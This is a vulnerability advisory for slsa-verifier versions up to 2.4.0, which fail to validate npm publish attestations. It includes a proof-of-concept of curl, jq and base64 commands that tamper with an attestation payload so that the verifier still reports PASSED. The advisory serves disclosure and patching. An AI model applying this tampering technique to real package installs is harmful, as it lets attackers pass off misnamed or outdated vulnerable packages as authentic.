github.com/slsa-framework/slsa-verifier/v2
Affected
- introduced
0, fixed2.4.1-rc.0(semver)
Fixed versions
2.4.1-rc.0
Fix
- Fixed version
2.4.1-rc.0go get github.com/slsa-framework/slsa-verifier/[email protected]
Advisory
Also known as: GO-2023-2188
slsa-verifier vulnerable to mproper validation of npm's publish attestations
Summary
slsa-verifier<=2.4.0 does not correctly verify npm's publish attestations signature.
Proof of concept
Steps to reproduce:
curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')"attestations.json, take the value addressed by the jq selector .attestations[0].bundle.dsseEnvelope.payload, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as attestations_tampered.json. Here is an example command to replace the package name with @attacker/malicious: jq -r ".attestations[0].bundle.dsseEnvelope.payload = \"$(jq -r '.attestations[0].bundle.dsseEnvelope.payload | @base64d' < attestations.json | jq '.subject[0].name = "pkg:npm/%40attacker/malicious"' | base64 -w0)\"" < attestations.json > attestations_tampered.jsonSLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id "https://github.com/actions/runner/github-hosted" --package-name "@trishankatdatadog/supreme-goggles" --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-gogglesslsa-verifier fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns PASSED.Impact
An attacker who controls what packages and attestations are shown to a user _can_ associate a package with an arbitrary name and version that do _not_ match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need _not_ match its counterpart in the provenance attestation. However, the attacker _cannot_ associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities.
Severity is considered low because 1) it does not invalidate the provenance and 2) support for npm is currently experimental.
Patches
Fixed by PR #705 and released in versions >=2.4.1.
Workarounds
There is no easy way for users to fix or remediate this vulnerability without upgrading, short of verifying npm's publish attestations themselves, _and_ cross-verifying it against GHA's provenance attestations.
References
Low Basis: The source's own band: LOW
0, fixed 2.4.1-rc.0 (semver)2.4.1-rc.0
2.4.1-rc.0go get github.com/slsa-framework/slsa-verifier/[email protected]0, last affected 1.4.1 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0